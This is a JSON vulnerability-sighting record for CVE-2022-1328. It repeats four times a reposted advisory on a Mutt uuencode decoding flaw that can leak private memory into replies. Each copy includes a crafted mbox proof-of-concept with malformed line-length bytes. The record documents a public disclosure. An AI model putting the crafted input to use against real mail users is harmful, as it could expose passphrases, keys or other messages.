{"vulnerability": "CVE-2022-1328", "sightings": [{"uuid": "2c32541d-ce98-4a1f-9cca-d6367812acb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1328", "type": "seen", "source": "https://t.me/hacking_Attack/61023", "content": "Exploit Collector\nMutt mutt_decode_uuencoded() Memory Disclosure\n\nhttps://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png \nIn mutt_decode_uuencoded(), the line length is read from the untrusted uuencoded part without validation. This could result in including private memory in replys, for example fragments of other messages, passphrases or keys.\n\nSHA-256 | 1a0da9d9e3bf42ea5367e18954311a408e444a40a4960bbf41e240bbab050a63\n\nDownload\nmutt: mutt_decode_uuencoded() can read the past the of the input line\n\nIn mutt_decode_uuencoded(), the line length is read from the untrusted uuencoded part without validation. This could result in including private memory in replys, for example fragments of other messages, passphrases or keys.\n\nReproduce with the following mbox, note that these are literal 0x9f bytes. This should show some uninitialized garbage in the message.\n\nFrom taviso  Thu Mar 31 16:53:55 2022\nFrom: taviso\nSubject: mutt_decode_uuencoded test\nContent-Disposition: inline\nContent-Transfer-Encoding: x-uuencode\nContent-Type: text/plain\n\nbegin 644 test\n<9f\nM2&5L;&\\\\L\\\"@I)9B!Y;W4@87)E(')E861I;F\nM='0L('1H92!N97AT(&QI;F4*\n<9f\n54&QE87-E(')E\n`\nend.\nThis bug is subject to a 90-day disclosure deadline. If a fix for this\nissue is made available to users before the end of the 90-day deadline,\nthis bug report will become public 30 days after the fix was made\navailable. Otherwise, this bug report will become public at the deadline.\nThe scheduled deadline is YYYY-MM-DD.\nRelated CVE Numbers: CVE-2022-1328.\nFound by: taviso@google.com\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:35.038460Z"}, {"uuid": "4d021ff6-1b6b-41f6-8704-938d94572852", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1328", "type": "seen", "source": "https://t.me/hacking_Attack/61023", "content": "Exploit Collector\nMutt mutt_decode_uuencoded() Memory Disclosure\n\nhttps://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png \nIn mutt_decode_uuencoded(), the line length is read from the untrusted uuencoded part without validation. This could result in including private memory in replys, for example fragments of other messages, passphrases or keys.\n\nSHA-256 | 1a0da9d9e3bf42ea5367e18954311a408e444a40a4960bbf41e240bbab050a63\n\nDownload\nmutt: mutt_decode_uuencoded() can read the past the of the input line\n\nIn mutt_decode_uuencoded(), the line length is read from the untrusted uuencoded part without validation. This could result in including private memory in replys, for example fragments of other messages, passphrases or keys.\n\nReproduce with the following mbox, note that these are literal 0x9f bytes. This should show some uninitialized garbage in the message.\n\nFrom taviso  Thu Mar 31 16:53:55 2022\nFrom: taviso\nSubject: mutt_decode_uuencoded test\nContent-Disposition: inline\nContent-Transfer-Encoding: x-uuencode\nContent-Type: text/plain\n\nbegin 644 test\n<9f\nM2&5L;&\\\\L\\\"@I)9B!Y;W4@87)E(')E861I;F\nM='0L('1H92!N97AT(&QI;F4*\n<9f\n54&QE87-E(')E\n`\nend.\nThis bug is subject to a 90-day disclosure deadline. If a fix for this\nissue is made available to users before the end of the 90-day deadline,\nthis bug report will become public 30 days after the fix was made\navailable. Otherwise, this bug report will become public at the deadline.\nThe scheduled deadline is YYYY-MM-DD.\nRelated CVE Numbers: CVE-2022-1328.\nFound by: taviso@google.com\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:44.826088Z"}, {"uuid": "66252e72-213b-47aa-a578-0b2a56a909c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1328", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/61023", "content": "Exploit Collector\nMutt mutt_decode_uuencoded() Memory Disclosure\n\nhttps://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png \nIn mutt_decode_uuencoded(), the line length is read from the untrusted uuencoded part without validation. This could result in including private memory in replys, for example fragments of other messages, passphrases or keys.\n\nSHA-256 | 1a0da9d9e3bf42ea5367e18954311a408e444a40a4960bbf41e240bbab050a63\n\nDownload\nmutt: mutt_decode_uuencoded() can read the past the of the input line\n\nIn mutt_decode_uuencoded(), the line length is read from the untrusted uuencoded part without validation. This could result in including private memory in replys, for example fragments of other messages, passphrases or keys.\n\nReproduce with the following mbox, note that these are literal 0x9f bytes. This should show some uninitialized garbage in the message.\n\nFrom taviso  Thu Mar 31 16:53:55 2022\nFrom: taviso\nSubject: mutt_decode_uuencoded test\nContent-Disposition: inline\nContent-Transfer-Encoding: x-uuencode\nContent-Type: text/plain\n\nbegin 644 test\n<9f\nM2&5L;&\\\\L\\\"@I)9B!Y;W4@87)E(')E861I;F\nM='0L('1H92!N97AT(&QI;F4*\n<9f\n54&QE87-E(')E\n`\nend.\nThis bug is subject to a 90-day disclosure deadline. If a fix for this\nissue is made available to users before the end of the 90-day deadline,\nthis bug report will become public 30 days after the fix was made\navailable. Otherwise, this bug report will become public at the deadline.\nThe scheduled deadline is YYYY-MM-DD.\nRelated CVE Numbers: CVE-2022-1328.\nFound by: taviso@google.com\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T16:00:05.054819Z"}, {"uuid": "ab63685f-8095-4dda-966e-5de5aa9c4932", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1328", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/61023", "content": "Exploit Collector\nMutt mutt_decode_uuencoded() Memory Disclosure\n\nhttps://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png \nIn mutt_decode_uuencoded(), the line length is read from the untrusted uuencoded part without validation. This could result in including private memory in replys, for example fragments of other messages, passphrases or keys.\n\nSHA-256 | 1a0da9d9e3bf42ea5367e18954311a408e444a40a4960bbf41e240bbab050a63\n\nDownload\nmutt: mutt_decode_uuencoded() can read the past the of the input line\n\nIn mutt_decode_uuencoded(), the line length is read from the untrusted uuencoded part without validation. This could result in including private memory in replys, for example fragments of other messages, passphrases or keys.\n\nReproduce with the following mbox, note that these are literal 0x9f bytes. This should show some uninitialized garbage in the message.\n\nFrom taviso  Thu Mar 31 16:53:55 2022\nFrom: taviso\nSubject: mutt_decode_uuencoded test\nContent-Disposition: inline\nContent-Transfer-Encoding: x-uuencode\nContent-Type: text/plain\n\nbegin 644 test\n<9f\nM2&5L;&\\\\L\\\"@I)9B!Y;W4@87)E(')E861I;F\nM='0L('1H92!N97AT(&QI;F4*\n<9f\n54&QE87-E(')E\n`\nend.\nThis bug is subject to a 90-day disclosure deadline. If a fix for this\nissue is made available to users before the end of the 90-day deadline,\nthis bug report will become public 30 days after the fix was made\navailable. Otherwise, this bug report will become public at the deadline.\nThe scheduled deadline is YYYY-MM-DD.\nRelated CVE Numbers: CVE-2022-1328.\nFound by: taviso@google.com\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:43.378401Z"}]}